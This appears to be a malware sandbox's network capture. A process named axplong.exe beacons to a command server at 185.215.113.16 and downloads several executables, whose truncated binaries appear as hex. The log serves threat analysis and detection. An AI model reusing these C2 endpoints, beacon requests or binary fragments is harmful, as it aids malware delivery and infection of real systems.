Dec 23, 2024 17:16:06.068167925 CET	1236	IN	Data Raw: e0 89 44 24 18 8b 1f 8d 74 24 3c 83 7e 10 00 74 0e 89 f1 6a 02 68 51 03 42 00 e8 92 00 00 00 8b 4f 08 8b 01 89 e5 ff 77 04 55 ff 50 08 8b 45 10 83 7d 14 10 72 03 8b 2c 24 89 f1 50 55 e8 6f 00 00 00 8b 44 24 14 83 f8 10 72 2c 8b 0c 24 8d 68 01 81 Data Ascii: D$t$<~tjhQBOwUPE}r,$PUoD$r,$hrQ) sF$UQ:WCWFC7L$1K^_[]USWVL$ ]U)959;$x
Dec 23, 2024 17:16:06.068311930 CET	1236	IN	Data Raw: 50 e8 62 23 00 00 83 c4 04 89 33 89 f9 e8 93 00 00 00 8b 4c 24 34 31 e1 e8 fc 03 00 00 b8 02 00 00 00 83 c4 38 5e 5f 5b c3 83 ec 0c 89 e0 c7 40 08 00 00 00 00 c7 40 04 b4 02 42 00 c7 00 c8 c5 41 00 68 38 42 42 00 50 e8 c0 34 00 00 53 57 56 89 ce Data Ascii: Pb#3L$418^_[@@BAh8BBP4SWV\|$1S^^^^^f^^f^ ^$^(^,^0tWV^_[h=BVQF,tPF,F$tPF$FtPF
Dec 23, 2024 17:16:06.068377018 CET	1236	IN	Data Raw: 00 ff 15 4c 3a 42 00 c3 55 8b ec ff 75 08 e8 0a 00 00 00 f7 d8 59 1b c0 f7 d8 48 5d c3 55 8b ec 83 3d a0 64 42 00 ff ff 75 08 75 07 e8 13 80 00 00 eb 0b 68 a0 64 42 00 e8 96 7f 00 00 59 59 33 c9 85 c0 0f 44 4d 08 8b c1 5d c3 6a 08 68 48 42 42 00 Data Ascii: L:BUuYH]U=dBuuhdBYY3DM]jhHBB&eMZf9@u]<@@PEuLf9@u>E@+PQ}YYt'x$\|!EE38eE2MdY_^[VS$t ddB
Dec 23, 2024 17:16:06.068388939 CET	1236	IN	Data Raw: 15 10 37 42 00 8b 4d fc ff d6 85 ff 75 c3 5e ff 33 e8 b7 95 00 00 59 8d 4d f8 e8 96 fd ff ff 5f 5b c9 c3 55 8b ec 51 8a 45 08 33 d2 56 8b f1 68 88 0e 42 00 89 75 fc 8d 4e 18 c7 46 04 01 00 00 00 c7 06 28 c6 41 00 89 56 08 89 56 0c 89 56 10 88 46 Data Ascii: 7BMu^3YM_[UQE3VhBuNF(AVVVFQ^UVEtj VYY^]Wyt+Vp7Btj17B^_jA"3MV=eBuuBVWaYYhB
Dec 23, 2024 17:16:06.068401098 CET	1236	IN	Data Raw: 01 e8 b0 12 00 00 5f 5b c9 c2 04 00 55 8b ec 8b 4d 08 83 c9 0f 56 3b 4d 10 77 1c 8b 75 0c 8b d6 8b 45 10 d1 ea 2b c2 3b f0 77 0c 8d 04 32 3b c8 0f 42 c8 8b c1 eb 03 8b 45 10 5e 5d c3 56 8b f1 83 7e 14 0f 76 13 e8 93 fe ff ff 8b 46 14 40 50 ff 36 Data Ascii: _[UMV;MwuE+;w2;BE^]V~vF@P6YYfF^ItAuASBVWp7B_^3@3lAAAAAAAA A$A(A,A0jA3FSS^0^^F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49709	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:16:09.592358112 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 35 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001527001&unit=246122658369
Dec 23, 2024 17:16:10.938585043 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 23, 2024 17:16:10.940354109 CET	54	OUT	GET /test/am209.exe HTTP/1.1 Host: 185.215.113.16
Dec 23, 2024 17:16:11.378654957 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:10 GMT Content-Type: application/octet-stream Content-Length: 439808 Last-Modified: Fri, 08 Nov 2024 07:05:53 GMT Connection: keep-alive ETag: "672db851-6b600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd b6 42 53 99 d7 2c 00 99 d7 2c 00 99 d7 2c 00 8d bc 2f 01 94 d7 2c 00 8d bc 29 01 23 d7 2c 00 cb a2 28 01 8b d7 2c 00 cb a2 2f 01 8f d7 2c 00 cb a2 29 01 c0 d7 2c 00 a8 8b d1 00 9b d7 2c 00 8d bc 28 01 8e d7 2c 00 8d bc 2d 01 8a d7 2c 00 99 d7 2d 00 6a d7 2c 00 55 a2 25 01 98 d7 2c 00 55 a2 d3 00 98 d7 2c 00 55 a2 2e 01 98 d7 2c 00 52 69 63 68 99 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 51 b8 2d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f4 04 00 00 00 02 00 00 00 00 00 d7 a1 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$BS,,,/,)#,(,/,),,(,-,-j,U%,U,U.,Rich,PELQ-g@0@@EE8@<.text `.rdataPHJ@@.datam`,B@.rsrcn@@.relocEFp@B
Dec 23, 2024 17:16:11.378711939 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 f0 cb 44 00 e8 37 8f 02 00 59 c3 cc cc cc cc 68 90 cb 44 00 e8 27 8f 02 00 59 Data Ascii: hD7YhD'Yj hEdnF?1hPDYj hEtF1hDYjhETuF0hDYj h$EoF0hpDYjhHEL
Dec 23, 2024 17:16:11.378721952 CET	1236	IN	Data Raw: 74 46 00 e8 bf 30 02 00 68 d0 cd 44 00 e8 86 8e 02 00 59 c3 cc cc cc 6a 18 68 60 d0 45 00 b9 8c 6d 46 00 e8 9f 30 02 00 68 30 ce 44 00 e8 66 8e 02 00 59 c3 cc cc cc 6a 00 68 7b ce 45 00 b9 24 75 46 00 e8 7f 30 02 00 68 90 ce 44 00 e8 46 8e 02 00 Data Ascii: tF0hDYjh`EmF0h0DfYjh{E$uF0hDFYjh{EuF_0hD&Yjh{EoF?0hPDYjh{EmF0hDYjh\|EnF/hDYjhE8xF/hpDY
Dec 23, 2024 17:16:11.378774881 CET	1236	IN	Data Raw: cc cc cc 6a 0c 68 30 d3 45 00 b9 2c 6d 46 00 e8 df 2b 02 00 68 70 dc 44 00 e8 a6 89 02 00 59 c3 cc cc cc 6a 0c 68 40 d3 45 00 b9 c4 6e 46 00 e8 bf 2b 02 00 68 d0 dc 44 00 e8 86 89 02 00 59 c3 cc cc cc 6a 04 68 50 d3 45 00 b9 98 78 46 00 e8 9f 2b Data Ascii: jh0E,mF+hpDYjh@EnF+hDYjhPExF+h0DfYjhXExF+hDFYjh`EuF_+hD&YjhhEwF?+hPDYjhpEnF+hDYjh\|E(yF*
Dec 23, 2024 17:16:11.378916025 CET	1236	IN	Data Raw: 68 b0 ea 44 00 e8 e6 84 02 00 59 c3 cc cc cc 6a 08 68 44 d5 45 00 b9 bc 76 46 00 e8 ff 26 02 00 68 10 eb 44 00 e8 c6 84 02 00 59 c3 cc cc cc 6a 10 68 50 d5 45 00 b9 34 71 46 00 e8 df 26 02 00 68 70 eb 44 00 e8 a6 84 02 00 59 c3 cc cc cc 6a 10 68 Data Ascii: hDYjhDEvF&hDYjhPE4qF&hpDYjhdEwF&hDYjhxEyF&h0DfYjhEluF&hDFYj@hEoF_&hD&YjhElrF?&hPDYjLh
Dec 23, 2024 17:16:11.378928900 CET	1236	IN	Data Raw: 45 00 b9 74 73 46 00 e8 3f 22 02 00 68 50 f9 44 00 e8 06 80 02 00 59 c3 cc cc cc 6a 08 68 c4 d9 45 00 b9 34 6e 46 00 e8 1f 22 02 00 68 b0 f9 44 00 e8 e6 7f 02 00 59 c3 cc cc cc 6a 14 68 d0 d9 45 00 b9 cc 72 46 00 e8 ff 21 02 00 68 10 fa 44 00 e8 Data Ascii: EtsF?"hPDYjhE4nF"hDYjhErF!hDYj4hEoF!hpDYjh EkF!hDYjh(E\vF!h0DfYjhDEoF!hDFYjhPErF_!hD&
Dec 23, 2024 17:16:11.379332066 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc 55 8b ec 8b 4d 08 8d 45 10 50 51 ff 75 0c e8 ad ff ff ff 83 c4 0c 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 8b 45 0c 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 83 ec 0c a1 24 61 46 00 33 c5 89 45 fc 8b 55 08 8d 45 f4 56 8b f1 89 55 Data Ascii: UMEPQu]UE]U$aF3EUEVUNEQW$EPfM3^it]UVWFP$EfEP~^]A$EPYI<EEUVF$
Dec 23, 2024 17:16:11.379344940 CET	1236	IN	Data Raw: fc 01 8d 55 b0 83 7d c4 10 8b 4d c0 0f 43 55 b0 8b 45 dc 8b 75 d8 2b c6 89 4d e0 51 52 3b c8 77 25 83 7d dc 10 8d 04 0e 89 45 d8 8d 45 c8 0f 43 45 c8 03 f0 56 e8 e9 86 02 00 8b 45 e0 83 c4 0c c6 04 06 00 eb 10 c6 45 e0 00 ff 75 e0 51 8d 4d c8 e8 Data Ascii: U}MCUEu+MQR;w%}EECEVEEuQM*Ur,MBrI#+RQvMM$E~EfEW}f~fGMCEGEPEEPMEvU0Er(MB
Dec 23, 2024 17:16:11.379358053 CET	1236	IN	Data Raw: 00 6a 14 56 e8 ac 71 02 00 83 c4 0c 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b e5 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 a1 24 61 46 00 33 c5 89 45 fc 6a 00 8d 45 f8 50 6a 00 68 54 bd 46 00 ff 15 e0 11 45 00 Data Ascii: jVqMdY^]U$aF3EjEPjhTFEtx}t_d,F;~-hFk=FuhPDqhF\|kjjhTFhFLFEtMhF3uj] tjU
Dec 23, 2024 17:16:11.387300014 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc 56 8b 71 04 85 f6 74 25 57 83 cf ff 8b c7 f0 0f c1 46 04 75 17 8b 06 8b ce ff 10 f0 0f c1 7e 08 4f 75 09 8b 06 8b ce 5f 5e ff 60 04 5f 5e c3 cc 55 8b ec 83 ec 0c 51 8d 4d f4 e8 61 f9 ff ff 68 30 45 46 00 8d 45 f4 Data Ascii: Vqt%WFu~Ou_^`_^UQMah0EFEP\|UVWFP$EfEP.ztE^]VFtAN+rP#+w#QPlFFF^
Dec 23, 2024 17:16:11.396049976 CET	1236	IN	Data Raw: fc 8b 46 08 53 8b 1e 2b c3 c1 f9 02 c1 f8 02 3b c8 76 0a 51 8b ce e8 8c 29 02 00 8b 1e ff 75 fc ff 75 f8 53 e8 7e 78 02 00 8b 4d fc 83 c4 0c 03 cb 89 4e 04 5b 8b c7 5f 5e 8b e5 5d c2 04 00 cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 90 88 44 00 64 Data Ascii: FS+;vQ)uuS~xMN[_^]UjhDdP$aF3PEdMdY]USVWjFEPFfFFFV}FDFLtG}E^PEESE/J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49711	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:16:13.697602987 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 34 38 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004899001&unit=246122658369
Dec 23, 2024 17:16:14.997757912 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 23, 2024 17:16:15.001657009 CET	58	OUT	GET /inc/goldddd123.exe HTTP/1.1 Host: 185.215.113.16
Dec 23, 2024 17:16:15.438556910 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:14 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 11:30:52 GMT Connection: keep-alive ETag: "676160ec-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 23, 2024 17:16:15.438580990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:16:15.438591957 CET	448	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 23, 2024 17:16:15.438683033 CET	1236	IN	Data Raw: 00 02 00 00 31 c9 88 8c 0c 00 01 00 00 89 c8 99 f7 fe 8a 04 17 88 04 0c 41 81 f9 00 01 00 00 75 e5 31 c0 31 c9 8a 94 04 00 01 00 00 00 d1 02 0c 04 0f b6 f1 8a b4 34 00 01 00 00 88 b4 04 00 01 00 00 88 94 34 00 01 00 00 40 3d 00 01 00 00 75 d4 83 Data Ascii: 1Au1144@=u$1111QQQ(9BCIuhMBheB~P:C$09G9$
Dec 23, 2024 17:16:15.438694954 CET	1236	IN	Data Raw: c4 0c 01 e7 83 c7 10 eb 4b 89 f9 83 c9 0f 83 f9 17 be 16 00 00 00 0f 43 f1 8d 46 01 81 f9 ff 0f 00 00 72 08 50 e8 0f 01 00 00 eb 06 50 e8 ef 11 00 00 83 c4 04 89 c3 89 44 24 10 89 7c 24 20 89 74 24 24 57 55 50 e8 c4 5f 00 00 83 c4 0c 01 df 8d 5c Data Ascii: KCFrPPD$\|$ t$$WUP_\$h5SmD$$r1L$prQ) $VQTWuED$D$E$(L$I!UW49BD$$4$t$
Dec 23, 2024 17:16:15.438709021 CET	1236	IN	Data Raw: 51 e8 8c 44 00 00 83 c4 08 c7 06 88 c3 41 00 f2 0f 10 47 0c f2 0f 11 46 0c 89 f0 5e 5f c2 04 00 cc 56 89 ce 8b 44 24 08 c7 01 28 c1 41 00 83 c1 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 4f 44 00 00 83 c4 08 c7 06 a8 c3 41 00 89 f0 5e c2 04 00 Data Ascii: QDAGF^_VD$(A1VVQPODA^xdBdBd,;`VBhxdBP=xdBuh@hxdB\|V\|$tV^BUSWVPt$D$uJWFFj \
Dec 23, 2024 17:16:15.438721895 CET	1236	IN	Data Raw: e0 89 44 24 18 8b 1f 8d 74 24 3c 83 7e 10 00 74 0e 89 f1 6a 02 68 51 03 42 00 e8 92 00 00 00 8b 4f 08 8b 01 89 e5 ff 77 04 55 ff 50 08 8b 45 10 83 7d 14 10 72 03 8b 2c 24 89 f1 50 55 e8 6f 00 00 00 8b 44 24 14 83 f8 10 72 2c 8b 0c 24 8d 68 01 81 Data Ascii: D$t$<~tjhQBOwUPE}r,$PUoD$r,$hrQ) sF$UQ:WCWFC7L$1K^_[]USWVL$ ]U)959;$x
Dec 23, 2024 17:16:15.438777924 CET	1236	IN	Data Raw: 50 e8 62 23 00 00 83 c4 04 89 33 89 f9 e8 93 00 00 00 8b 4c 24 34 31 e1 e8 fc 03 00 00 b8 02 00 00 00 83 c4 38 5e 5f 5b c3 83 ec 0c 89 e0 c7 40 08 00 00 00 00 c7 40 04 b4 02 42 00 c7 00 c8 c5 41 00 68 38 42 42 00 50 e8 c0 34 00 00 53 57 56 89 ce Data Ascii: Pb#3L$418^_[@@BAh8BBP4SWV\|$1S^^^^^f^^f^ ^$^(^,^0tWV^_[h=BVQF,tPF,F$tPF$FtPF
Dec 23, 2024 17:16:15.438848972 CET	1236	IN	Data Raw: 00 ff 15 4c 3a 42 00 c3 55 8b ec ff 75 08 e8 0a 00 00 00 f7 d8 59 1b c0 f7 d8 48 5d c3 55 8b ec 83 3d a0 64 42 00 ff ff 75 08 75 07 e8 13 80 00 00 eb 0b 68 a0 64 42 00 e8 96 7f 00 00 59 59 33 c9 85 c0 0f 44 4d 08 8b c1 5d c3 6a 08 68 48 42 42 00 Data Ascii: L:BUuYH]U=dBuuhdBYY3DM]jhHBB&eMZf9@u]<@@PEuLf9@u>E@+PQ}YYt'x$\|!EE38eE2MdY_^[VS$t ddB
Dec 23, 2024 17:16:15.447005987 CET	1236	IN	Data Raw: 15 10 37 42 00 8b 4d fc ff d6 85 ff 75 c3 5e ff 33 e8 b7 95 00 00 59 8d 4d f8 e8 96 fd ff ff 5f 5b c9 c3 55 8b ec 51 8a 45 08 33 d2 56 8b f1 68 88 0e 42 00 89 75 fc 8d 4e 18 c7 46 04 01 00 00 00 c7 06 28 c6 41 00 89 56 08 89 56 0c 89 56 10 88 46 Data Ascii: 7BMu^3YM_[UQE3VhBuNF(AVVVFQ^UVEtj VYY^]Wyt+Vp7Btj17B^_jA"3MV=eBuuBVWaYYhB
Dec 23, 2024 17:16:15.447072983 CET	1236	IN	Data Raw: 01 e8 b0 12 00 00 5f 5b c9 c2 04 00 55 8b ec 8b 4d 08 83 c9 0f 56 3b 4d 10 77 1c 8b 75 0c 8b d6 8b 45 10 d1 ea 2b c2 3b f0 77 0c 8d 04 32 3b c8 0f 42 c8 8b c1 eb 03 8b 45 10 5e 5d c3 56 8b f1 83 7e 14 0f 76 13 e8 93 fe ff ff 8b 46 14 40 50 ff 36 Data Ascii: _[UMV;MwuE+;w2;BE^]V~vF@P6YYfF^ItAuASBVWp7B_^3@3lAAAAAAAA A$A(A,A0jA3FSS^0^^F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49714	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:16:17.876730919 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 33 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006343001&unit=246122658369
Dec 23, 2024 17:16:19.227169991 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49723	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:16:28.660474062 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 31 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008170001&unit=246122658369
Dec 23, 2024 17:16:29.996191978 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 23, 2024 17:16:30.001889944 CET	53	OUT	GET /inc/daw21.exe HTTP/1.1 Host: 185.215.113.16
Dec 23, 2024 17:16:30.439563036 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:29 GMT Content-Type: application/octet-stream Content-Length: 245760 Last-Modified: Sun, 22 Dec 2024 21:43:11 GMT Connection: keep-alive ETag: "676887ef-3c000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 02 36 68 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 46 22 00 00 00 00 00 d0 1b 02 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 25 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPEL6hgF"@%@Lf<$\|<.text `.rdata@@.data+!pV@.reloc]$^b@B
Dec 23, 2024 17:16:30.439587116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 08 56 68 04 01 00 00 6a 00 c7 45 f8 ff 00 00 00 ff 15 f4 90 63 00 Data Ascii: UVhjEcPcEPhjhChcuUMQVPPhCRcEPXc^]U,SVWhjPBhPQcRc
Dec 23, 2024 17:16:30.439600945 CET	1236	IN	Data Raw: 4e 64 8b 57 68 89 56 68 8b 47 6c 89 46 6c 8b 4f 70 89 4e 70 8b 57 74 89 56 74 8b 47 78 89 46 78 8b 87 84 00 00 00 89 86 84 00 00 00 40 e8 71 13 00 00 89 46 7c 85 c0 74 0f 8b 7f 7c 85 ff 74 08 57 50 ff 15 34 91 63 00 5f 8b c6 5e c3 cc cc cc cc cc Data Ascii: NdWhVhGlFlOpNpWtVtGxFx@qF\|t\|tWP4c_^F$8F0F(!WGF@!ttQP4cGF@FtOtQP4cG F @FtOtQP4cG,F,@F$t$t
Dec 23, 2024 17:16:30.439640999 CET	672	IN	Data Raw: 00 74 13 57 56 ff 15 34 91 63 00 8b 4d 08 51 56 ff 15 9c 90 63 00 68 5c 1d 43 00 ff 15 ac 8f 63 00 8d 34 03 8d 46 01 e8 a3 0e 00 00 8b d8 85 db 74 1b 8b 45 d0 85 c0 74 14 50 53 ff 15 34 91 63 00 68 5c 1d 43 00 53 ff 15 9c 90 63 00 8b 55 2c 8d 7c Data Ascii: tWV4cMQVch\Cc4FtEtPS4ch\CScU,\|2ttt}$tSV4cE$PVcEt5>}ttVW4cEEEQWDcuuE
Dec 23, 2024 17:16:30.439665079 CET	1236	IN	Data Raw: 14 50 53 ff 15 34 91 63 00 68 5c 1d 43 00 53 ff 15 9c 90 63 00 03 75 2c 8d 46 01 89 45 f8 e8 0c 0c 00 00 8b f8 85 ff 74 1d 85 db 74 19 83 7d 24 00 74 13 53 57 ff 15 34 91 63 00 8b 4d 24 51 57 ff 15 9c 90 63 00 8b 45 c4 89 75 cc 85 c0 74 05 e8 ca Data Ascii: PS4ch\CScu,FEtt}$tSW4cM$QWcEutEuttWV4cEDvtk_Ptt}tWS4cEPSch\Cc<G9
Dec 23, 2024 17:16:30.439682961 CET	1236	IN	Data Raw: e8 fd ff ff 50 ff 15 ac 8f 63 00 8d 34 07 8d 46 01 e8 45 07 00 00 8b f8 8b 45 dc 85 ff 74 1d 85 c0 74 19 50 57 ff 15 34 91 63 00 8d 8d e8 fd ff ff 51 57 ff 15 9c 90 63 00 8b 45 dc 89 75 e4 85 c0 74 05 e8 03 08 00 00 8d 46 01 e8 0b 07 00 00 89 45 Data Ascii: Pc4FEEttPW4cQWcEutFEttWP4c38Bt$CBuCEthBP4ccPc4FtEttPS4cWSc jRCxEG
Dec 23, 2024 17:16:30.439697027 CET	1236	IN	Data Raw: f8 83 c0 f0 c7 00 01 00 00 00 85 c9 74 27 83 39 00 74 22 3b d1 75 08 8b d0 89 15 c4 91 63 00 8b 71 04 01 70 04 8b 71 08 89 70 08 8b 49 08 85 c9 74 03 89 41 0c 8b 48 0c 85 c9 74 27 83 39 00 74 22 3b d0 75 08 8b d1 89 15 c4 91 63 00 8b 70 04 01 71 Data Ascii: t'9t";ucqpqpItAHt'9t";ucpqpq@tHE8teHt'9t";ucqpqpItAHt'9t";ucpqpq@tHE,teHt'9t";u
